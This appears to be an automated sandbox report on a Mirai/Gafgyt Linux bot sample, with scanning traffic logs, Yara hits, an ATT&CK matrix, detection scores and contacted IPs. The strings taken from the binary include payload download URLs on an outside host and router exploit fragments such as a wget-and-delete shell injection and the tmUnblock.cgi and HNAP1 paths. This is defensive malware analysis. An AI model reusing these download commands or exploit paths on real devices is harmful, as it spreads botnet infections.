Source: unknown	Network traffic detected: HTTP traffic on port 36410 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34492 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54882 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36420 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34506 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60504 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34464 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60142 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 41238 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44616 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 35114 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 54882 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33918 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33948 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34350 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41460 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54882 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38374 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37100 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 44616 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 54882 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60504 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44616 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 54882 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33810 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38374 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46584 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 60504 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46584 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 46584 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 33248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34720 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 46584 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44616 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 54882 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58786 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34778 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58786
Source: unknown	Network traffic detected: HTTP traffic on port 58792 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34784 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58792
Source: unknown	Network traffic detected: HTTP traffic on port 34802 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52334 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34806 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52340 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43592 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43596 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46584 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 37656 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 36202 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 37656
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 52268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46584 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 40262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55682 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55684 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52274 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55402 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55510 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55510 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38732 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52866 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40906 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40928 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54548 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38732 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40928 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38374 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51114 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59222 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52938 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38732 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51150 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59222 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36678 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 59222
Source: unknown	Network traffic detected: HTTP traffic on port 44282 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44286 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59234 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42082 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 40262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59234 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 59234
Source: unknown	Network traffic detected: HTTP traffic on port 36712 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60504 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44198 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48830 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44236 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50780 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 52938 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37444 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 50780 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 44838 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43196 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37444 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48878 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48830 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 44838 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43196 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 44838
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 45844 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44616 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 54882 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55402 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45844 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43316 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44954 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45890 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 44954
Source: unknown	Network traffic detected: HTTP traffic on port 45890 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45890 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 44954
Source: unknown	Network traffic detected: HTTP traffic on port 46584 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 52938 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 54904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52376 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 51858 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53518 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53518 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53518 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56976 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53518 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48118 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48160 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56860 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56864 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49622 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56998 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49658 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40700 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 40700 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53518 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 42614 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 36762 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 40700 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 43446 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43452 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43456 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43466 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44956 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43672 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60874 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37184 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44964 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50842 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43686 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37184
Source: unknown	Network traffic detected: HTTP traffic on port 37196 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52938 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37196
Source: unknown	Network traffic detected: HTTP traffic on port 44964 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40700 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 50852 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56236 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 56354 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 40262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42614 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 36762 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 38000 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41410 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41434 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37408 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60776 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37440 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60808 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40694 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48976 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39536 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39590 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 40694
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48976
Source: unknown	Network traffic detected: HTTP traffic on port 49006 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53156 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57860 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 44614 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49006
Source: unknown	Network traffic detected: HTTP traffic on port 40724 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40700 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 33248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 40724
Source: unknown	Network traffic detected: HTTP traffic on port 53518 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 42614 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 36762 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 42192 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37898 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42244 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37902 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37902 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40700 -> 1723

Source: /tmp/fIupB48xS0.elf (PID: 5433)

Queries kernel information via 'uname':

Jump to behavior

Source: fIupB48xS0.elf, 5433.1.00007ffcb54b6000.00007ffcb54d7000.rw-.sdmp, fIupB48xS0.elf, 5483.1.00007ffcb54b6000.00007ffcb54d7000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: fIupB48xS0.elf, 5433.1.0000556b24658000.0000556b246bb000.rw-.sdmp, fIupB48xS0.elf, 5483.1.0000556b24658000.0000556b246bb000.rw-.sdmp	Binary or memory string: e$kU5!/etc/qemu-binfmt/sh4
Source: fIupB48xS0.elf, 5433.1.0000556b24658000.0000556b246bb000.rw-.sdmp, fIupB48xS0.elf, 5483.1.0000556b24658000.0000556b246bb000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: fIupB48xS0.elf, 5433.1.00007ffcb54b6000.00007ffcb54d7000.rw-.sdmp, fIupB48xS0.elf, 5483.1.00007ffcb54b6000.00007ffcb54d7000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/fIupB48xS0.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/fIupB48xS0.elf

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: fIupB48xS0.elf, type: SAMPLE
Source: Yara match	File source: 5433.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5483.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: fIupB48xS0.elf, type: SAMPLE
Source: Yara match	File source: 5433.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5483.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match	File source: fIupB48xS0.elf, type: SAMPLE
Source: Yara match	File source: 5433.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5483.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: fIupB48xS0.elf, type: SAMPLE
Source: Yara match	File source: 5433.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5483.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Command and Scripting Interpreter	2 Scripting	Path Interception	2 File and Directory Permissions Modification	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
fIupB48xS0.elf	66%	ReversingLabs	Linux.Trojan.Mirai
fIupB48xS0.elf	63%	Virustotal		Browse
fIupB48xS0.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Source	Detection	Scanner	Label	Link
http://purenetworks.com/HNAP1/	0%	URL Reputation	safe
http://109.205.214.35/x86	100%	Avira URL Cloud	malware
http://109.205.214.35/arm7;chmod	0%	Avira URL Cloud	safe
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Avira URL Cloud	safe
http://109.205.214.35/mips	100%	Avira URL Cloud	malware
http://127.0.0.1:80/tmUnblock.cgi	0%	Avira URL Cloud	safe
http://109.205.214.35/arm7;chmod	2%	Virustotal		Browse
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Virustotal		Browse
http://127.0.0.1/cgi-bin/ViewLog.asp	1%	Virustotal		Browse
http://109.205.214.35/mips	8%	Virustotal		Browse
http://127.0.0.1:52869/picdesc.xml	1%	Virustotal		Browse
http://127.0.0.1:52869/wanipcn.xml	1%	Virustotal		Browse
http://109.205.214.35/x86	13%	Virustotal		Browse
http://127.0.0.1:80/tmUnblock.cgi	0%	Virustotal		Browse
http://127.0.0.1/cgi-bin/ViewLog.asp	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/wanipcn.xml	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/picdesc.xml	0%	Avira URL Cloud	safe
http://109.205.214.35/mpsl;chmod	0%	Avira URL Cloud	safe
http://127.0.0.1:7547/UD/act?1	0%	Avira URL Cloud	safe
http://109.205.214.35/mips;	100%	Avira URL Cloud	malware
http://109.205.214.35/mips;	2%	Virustotal		Browse
http://127.0.0.1:7547/UD/act?1	1%	Virustotal		Browse
http://109.205.214.35/mpsl;chmod	1%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/tmUnblock.cgi	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1/cgi-bin/ViewLog.asp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/wanipcn.xml	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/picdesc.xml	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:7547/UD/act?1	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://109.205.214.35/arm7;chmod	fIupB48xS0.elf	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://109.205.214.35/mips	fIupB48xS0.elf	false	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://109.205.214.35/x86	fIupB48xS0.elf	false	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	fIupB48xS0.elf	false		high
http://purenetworks.com/HNAP1/	fIupB48xS0.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	fIupB48xS0.elf	false		high
http://109.205.214.35/mpsl;chmod	fIupB48xS0.elf	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://109.205.214.35/mips;	fIupB48xS0.elf	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
80.219.184.150	unknown	Switzerland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
83.103.130.231	unknown	Romania	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
213.58.107.65	unknown	Portugal	9186	ONILisbonPortugalPT	false
145.28.242.165	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
98.187.110.155	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
208.105.199.254	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
30.115.196.43	unknown	United States	7922	COMCAST-7922US	false
171.194.174.164	unknown	United States	10794	BANKAMERICAUS	false
184.29.182.56	unknown	United States	16625	AKAMAI-ASUS	false
83.195.228.117	unknown	France	3215	FranceTelecom-OrangeFR	false
65.135.85.206	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
200.172.238.32	unknown	Brazil	4230	CLAROSABR	false
8.245.72.109	unknown	United States	3356	LEVEL3US	false
98.48.231.145	unknown	United States	7922	COMCAST-7922US	false
146.109.34.139	unknown	Switzerland	15733	ZUMTOBEL-ASCorporateDatacenterAustriaAT	false
200.19.29.116	unknown	Brazil	2716	UniversidadeFederaldoRioGrandedoSulBR	false
187.248.3.162	unknown	Mexico	22566	MaxcomTelecomunicacionesSABdeCVMX	false
62.40.187.86	unknown	Austria	8339	KABSI-ASAT	false
205.84.21.244	unknown	United States	647	DNIC-ASBLK-00616-00665US	false
213.3.4.152	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
184.195.61.165	unknown	United States	10507	SPCSUS	false
98.202.3.62	unknown	United States	7922	COMCAST-7922US	false
206.156.198.168	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
181.212.43.147	unknown	Chile	16629	CTCCORPSATELEFONICAEMPRESASCL	false
112.105.248.166	unknown	Taiwan; Republic of China (ROC)	4780	SEEDNETDigitalUnitedIncTW	false
98.202.3.68	unknown	United States	7922	COMCAST-7922US	false
45.86.28.46	unknown	United Kingdom	9009	M247GB	false
184.13.254.11	unknown	United States	7011	FRONTIER-AND-CITIZENSUS	false
212.13.196.9	unknown	United Kingdom	8943	JUMPGB	false
98.187.110.147	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
210.55.200.78	unknown	New Zealand	4648	SPARK-NZGlobal-GatewayInternetNZ	false
178.55.249.7	unknown	Finland	16086	DNAFI	false
98.119.3.100	unknown	United States	701	UUNETUS	false
181.154.149.80	unknown	Colombia	26611	COMCELSACO	false
201.150.134.161	unknown	Mexico	28539	CreatividadInternetEnlacesSAdeCVMX	false
82.160.83.2	unknown	Poland	20960	TKTELEKOM-ASPL	false
189.185.162.179	unknown	Mexico	8151	UninetSAdeCVMX	false
156.223.192.123	unknown	Egypt	8452	TE-ASTE-ASEG	false
98.142.17.30	unknown	United States	22402	NEXTCO-ASUS	false
124.206.160.250	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
213.60.124.252	unknown	Spain	12334	Galicia-SpainES	false
200.74.184.232	unknown	Chile	18822	ManquehuenetCL	false
48.2.40.183	unknown	United States	2686	ATGS-MMD-ASUS	false
217.218.139.44	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
181.195.130.11	unknown	Costa Rica	11830	InstitutoCostarricensedeElectricidadyTelecomCR	false
62.243.140.204	unknown	Denmark	3292	TDCTDCASDK	false
202.29.4.35	unknown	Thailand	55488	NRRU-AS-APNakornRatchasimaRajabhatUniversityTH	false
178.114.204.64	unknown	Austria	8437	UTA-ASAT	false
181.136.190.121	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
184.209.111.84	unknown	United States	10507	SPCSUS	false
167.247.80.131	unknown	United States	51439	CHARTIS-UK-SERVICES-LTDGB	false
181.111.119.96	unknown	Argentina	7303	TelecomArgentinaSAAR	false
181.228.149.67	unknown	Argentina	10481	TelecomArgentinaSAAR	false
221.46.34.243	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
189.124.122.99	unknown	Brazil	28292	ENGEPLUSINFORMATICALTDABR	false
62.68.231.195	unknown	Egypt	24835	RAYA-ASEG	false
181.104.232.147	unknown	Argentina	6147	TelefonicadelPeruSAAPE	false
77.191.152.185	unknown	Germany	6805	TDDE-ASN1DE	false
125.97.197.101	unknown	China	9814	FIBRLINKBeijingFibrLINKNetworksCoLtdCN	false
179.205.234.170	unknown	Brazil	26615	TIMSABR	false
181.213.69.185	unknown	Brazil	28573	CLAROSABR	false
184.98.240.211	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
170.143.28.43	unknown	United States	4454	TNET-ASUS	false
62.1.242.82	unknown	Greece	1241	FORTHNET-GRForthnetEU	false
140.127.28.117	unknown	Taiwan; Republic of China (ROC)	38847	NCHU-AS-TWNationalChungHsingUniversityTW	false
181.43.123.157	unknown	Chile	27651	ENTELCHILESACL	false
101.8.118.8	unknown	Taiwan; Republic of China (ROC)	701	UUNETUS	false
174.85.82.249	unknown	United States	20115	CHARTER-20115US	false
170.50.33.147	unknown	United States	11406	CIGNA-1US	false
213.246.160.134	unknown	United Kingdom	8586	OBSL-ASTalkTalk-BusinessdivisionGB	false
85.244.28.226	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
178.197.159.197	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
101.225.14.210	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
172.222.74.221	unknown	United States	20115	CHARTER-20115US	false
112.175.44.177	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
201.115.32.27	unknown	Mexico	8151	UninetSAdeCVMX	false
169.15.171.158	unknown	United States	203	CENTURYLINK-LEGACY-LVLT-203US	false
62.248.41.13	unknown	Turkey	9121	TTNETTR	false
172.14.160.149	unknown	United States	7018	ATT-INTERNET4US	false
